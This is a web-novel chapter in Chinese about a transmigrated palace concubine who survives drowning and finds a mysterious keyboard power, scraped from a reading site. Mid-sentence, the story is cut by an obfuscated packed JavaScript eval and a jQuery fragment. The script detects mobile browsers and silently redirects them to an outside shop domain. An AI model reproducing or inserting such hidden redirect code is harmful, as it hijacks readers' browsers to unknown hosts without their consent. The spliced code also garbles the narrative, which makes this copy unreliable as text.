文趣网 > 其他小说 > 提督公公献身后 > 4. buff
    细雨如织,将一方天地笼罩其间。

    兰莛漂浮于半空,看着下方的浓烟出神。

    被雨雾裹挟的火葬场像一座沉在干冰里的孤岛,静静伫立其中。

    等等,火葬场?

    似有一道电流从脑仁中穿过,贺兰莛看着下方标准的现代建筑,只觉后脑勺凉得发麻。

    低矮的建筑群灰扑扑连成一片,标志性的红砖大烟囱在雨雾中突兀地矗立着,滚滚黑烟自顶端喷涌而出,被雨水浇得歪斜,缓缓融于灰蒙的天空。

    来不及细想,便见下方有一群身着白色孝服的人从建筑前门缓缓走出,为首的女人怀里抱着黑色盒子,一旁稍显年轻的女人怀里托着相框。

    兰莛目光稍凝,画面竟随心而动,缓缓放大,越发清晰。

    只见那黑白相片上赫然是位年轻漂亮的姑娘,乍一看去,简直与她是一个模子刻出来的。

    心中正疑惑,带着哭腔的女声从雨中幽幽传来:“莛莛……我的娃儿诶……你好狠的心,怎么说走就走了啊啊啊……”

    哭声悲痛,变调得不成样子,可兰莛还是认出了声音的主人,正是她的亲生母亲。

    贺兰莛不理解。

    她的母亲这是在……哭丧么?

    还未搞清眼前的情况,一道尖锐的哭鸣划破天际,“娘娘醒醒,醒醒啊——”

    似遭雷击般,她扭头去寻声音来处,目光所及,厚重的云层恍若浸了墨汁,愈发暗沉。

    直至黑暗将她彻底笼罩,潮气自四面八方而来,浸湿她的衣衫。

    兰莛缓缓睁眼,只见面前人影憧憧,一双手捧着她的脸轻晃,手的主人哭得上气不接下气:“娘娘……呜呜娘娘醒醒……”

    “咳……你这般大喊大叫,怕不是要把你主子溺水一事公之于众。”冰冷的男声偏生多了三分阴柔,说出的话如同冷飕飕的暗箭向她扎来,“更何况这处泥潭水深不过腰,站起身来便是,哪个有你家主子这般莽撞,拉拽无辜的旁人不说,还卧倒不起,莫不是今夜饮了太多的酒,糊涂了?”

    “呜呜呜这位公公,我见你受我家主子牵连我不好说你些什么,可我家主子好歹也是个才人,你不过是个小小的内侍,怎么能这般诋毁她!”女声透着老实人豁出去的气概,只是不知为何声量渐微,“再说了,我家娘娘也是被人推搡着摔倒,并未饮酒……”

    兰莛眨了眨眼,只觉胸口和喉咙火辣辣的疼,一时间连话也说不出来。

    啊,对了。

    她被人推落进缀霞池里。

    思绪回笼,兰莛深吸了口气,抬手抚上面颊,捉住小宫女的手。

    豆蔻当即触电般地低头,对上一双亮晶晶的眼睛,大脑宕机地张了张嘴,半个字也吐不出来。

    见她这副傻样,兰莛被戳中了笑点,正咧嘴想笑,却听得“噗”的一声,一条小指大小的银鱼顺着她的喉咙往外喷出,在昏暗的夜色里划出华丽的弧线,而后落在一旁的草地上,颇有活力地弹跳着。

    “……”

    鱼?

    空气陷入短暂的沉寂。

    感知到旁人的打量,兰莛缓缓扭头,看向一旁。

    夜色朦胧,颀长的身影在月光下微晃了一瞬,见她看过来,毫不避讳,狭长的双眼居高临下地冷冷相迎。

    “娘娘既无事,奴才心中便踏实了,虽说如今是酷夏,池水到底寒凉,寻常人光脚沾一下都要打个寒颤,您倒好,安稳地在里头泡了这么久,想来是天生的好身子骨。”

    贺兰莛:“?”

    您是在关心我还是在阴阳我?

    还有,您哪位啊?

    冰冷的声音吊高了些许,“娘娘还是莫要仗着身子硬朗就大意,快些回去换身干爽衣裳,洗个滚热的澡驱寒才是正经,最好吩咐小厨房熬碗浓浓的姜汤,灌下去发一身汗,把骨头里的寒气逼出来才是,要是不小心落下头疼脑热的毛病,外头不明就里的人还以为是咱们这些做奴才的没尽心伺候,苛待了您呢。”

    这般流利的口条,以及耳熟的嗓音……这人莫不是……

    像是为了回答她的疑问,面前缓缓加载出一面字幕——

    【贺兰莛命不该绝,拉拽着路过的雎茂才一同落水,雎茂才最是讨厌水,却被贺兰莛摁在水底好一会儿,终于挣扎着站起身,顺手捞起沉底的贺兰莛|】

    ?

    哈……哈哈……

    倒霉催的,原来是姓雎的。

    目光重新落在这人身上,兰莛不由得眼皮狂跳。

    但见此人宫装被泡得透湿,紧贴在身上,原先梳得一丝不乱的发鬓歪了半边,上头似乎还挂着根湿漉漉的水草,湿碎发糊了半张脸,水顺着下颌线直往颈窝里滚。

    可谓是形容狼狈。

    也难怪豆蔻没认出他的身份。

    “咳咳,你瞧这事闹的咳咳……”兰莛挪开目光,抬手掩面,“牵连了这位公公,都是我不对,还望公公海涵,原谅我的不是。”

    这草地她也躺不下去了。

    “豆蔻,搭把手。”

    闻言,豆蔻忙扶着才人坐起,正想将人拉离地面,却见自家主子周身一僵,好似叫人点了穴般定在原地。

    “娘娘,可是身上有哪里不舒服?”

    小宫女双腿一软,亦跟着跪坐下来,却见娘娘惨白着一张脸,目光落在半空中,一副撞了鬼的模样,心中止不住打鼓,“娘娘?小主?”

    贺兰莛看着陡然浮现在面前的巨大九宫格,心脏“砰砰”狂跳着。

    目光所及,一只灵动可爱的二次元小白兔在九宫格的间隙蹦来蹦去,所到之处,有细碎的雪花被震得扑簌簌掉落。

    “兔兔踩雪”经典款皮肤。

    这是……这是她手机上的输入法!

    短短几息,兰莛已在心中大叫了几个来回。

    她就知道,什么普通的穿书,什么炮灰路人甲,通通不过是障眼法罢了。

    瞧瞧这华丽的输入法,如此赛博,如此先进,如此……与这个陈旧的宫廷格格不入。

    若她想得没错,这应该是她迟来的“金手指”啊!

    兰莛“蹭”地站起身,不顾旁人惊诧的打量,撸起黏在手臂的袖子,露出两截手腕,嘴角因极度兴奋而微抽着。

    周遭的喧哗尽数退去,目光所及,天地间唯有眼前的文字和输入法,她缓缓抬手,在九宫格上摁下。

    键盘触手冰凉,倒真像是小兔踩的雪砖。

    耳畔响起踩雪的“踏踏”声,兰莛听着久违的打字音效,抿了抿唇,忍住险些夺眶而出的眼泪,继续输入。

    半晌后,一对秀眉缓缓蹙起。

    “踏踏”的踩雪声又响又密,可字幕却无半分变化。

    接连换了几处按键反复试触,屏面依旧沉寂,没有半点字符跳出。

    汹涌的狂喜骤然被掐断,焦灼无声蔓延。

    她皱着张脸,嘀咕道:“怎么会没反应呢?”

    一旁的豆蔻早已看傻了眼。

    倒是雎茂才冷哼一声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811207|210837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“先前听闻贺才人高热后伤了脑子,奴才原先还不信,只当是旁人乱嚼舌根,现下看了,倒不得不信。”

    说着佯叹了口气,“踩人娘娘若真有什么不舒服可得尽早说,奴才这就去回了皇上和皇后娘娘,让太医院挑顶好的安神补脑的药材给您煎上,可得好好调理才是,万一哪天连宫里的规矩都忘了,那可不是闹着玩的。”

    眼看着周围看热闹的宫人对着这处指指点点,似乎要把才人发狂一事坐实,豆蔻捏着袖子跺了跺脚,拿定主意往前几步,揽着自家主子急匆匆离开。

    夜色昏昧,行路艰难。

    主仆二人深一脚浅一脚地走进青黑的夜色中。

    眼看着四周人群散去,雎茂才接过身后内侍递来的帕子,在脖颈间随意蹭了两下,而后嫌弃地将帕子丢了回去,“这顶什么事儿啊,回去,烧热水将浴桶灌满。”

    说罢,捏着袖子凑近鼻端闻了闻,面色愈发难看,“臭死了。”

    今儿真是倒了八辈子的霉,被那疯女人拉进池水里,泡得他活像只绿毛王八……

    福禄接过手帕,细心地将其叠成豆腐块,揣进袖中,恭敬地弯腰,“是。”

    说着就要往回走。

    似是突然想起了什么,雎茂才“啧”了声,喊住将要离去的福禄,“罢了罢了,先给娘娘回话要紧,你替我去一趟披香殿,把今夜发生在宴席上的事一五一十地回禀娘娘,且让她安心。”

    内侍从闻言身体一僵,健硕魁梧的身躯透着几分踌躇。

    见他犹豫,雎茂才眉头微皱,冷笑道:“怕什么,你将衣领拉高些,头低些,模样瞧着可比咱家眼下-体面多了,若还有人敢嚼你的舌根,不必同我说,直接撕烂他的嘴便是!”

    福禄藏于袖中的手指险些搓破了皮,横亘于下颌到脖颈的粗长疤痕透出血色,却未反驳,只顺从应下。

    -

    亥时初刻,采云轩。

    沐浴过后的贺兰莛仰躺在榻上,目光一瞬不错地盯着眼前的九宫格键盘,唇齿间不时漏出几声叹息。

    叹息声嘈嘈切切,竟比夏日里的虫鸣还要闹腾,听得帐外的豆蔻一颗心揪起,忧心忡忡道:“娘娘,您今夜是怎么了,可是落水惊了魂,看见什么不干净的东西了?”

    兰莛只发出更大的叹息声:“蔻,你不懂。”

    今日所见所闻,足够她消化好些天了。

    先是落水之后,字幕突然抽风,剧情线提前宣告完结,再是回到家乡的火葬场上方,看见老母亲捧着自己的骨灰盒哭丧,最后便是抬手便召出的那个输入法。

    显而易见,剧情线并未真正完结,她也没有回到原本的世界,而那一闪而过的火葬场,更是莫名其妙。

    她穿书前好端端地躺在出租屋里,不过是睡了一觉,怎么就死了呢?

    兰莛摇了摇头,决定先把这一茬忘掉。

    再说回这凭空出现的输入法。

    凭借她阅文无数的经验,穿书后无非那几个套路:做任务、攒积分、攻略书中角色,拿着修改剧情金手指的主角也不在少数,眼下看来,她应当属于后者。

    只是现在的她一没系统提示,二没有九宫格的使用说明,只能对着这赛博键盘盲人过河。

    “看样子还是个自由探索的副本啊……”

    听着她自言自语,豆蔻的小脸白了又白,到底是信了方才那内侍的话,只当自家小主撞了邪,一颗心愈发不敢松懈,守在帐外面色凝重。

    一夜无眠。